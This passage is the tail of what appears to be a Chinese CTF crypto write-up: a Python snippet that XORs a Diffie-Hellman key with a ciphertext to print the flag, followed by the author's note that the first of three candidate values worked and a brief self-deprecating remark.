    flag = dh.key ^ c
    print("".join(chr(int(each,16)) for each in findall('\w{2}',hex(flag)[2:])))

if __name__ == '__main__':
    decrypt()

​ 会跑到3个符合的值,试第一个就出flag了


还是太菜了啊啊~~ 得让自己变得更优秀才行!

QQ图片20201219104802.jpg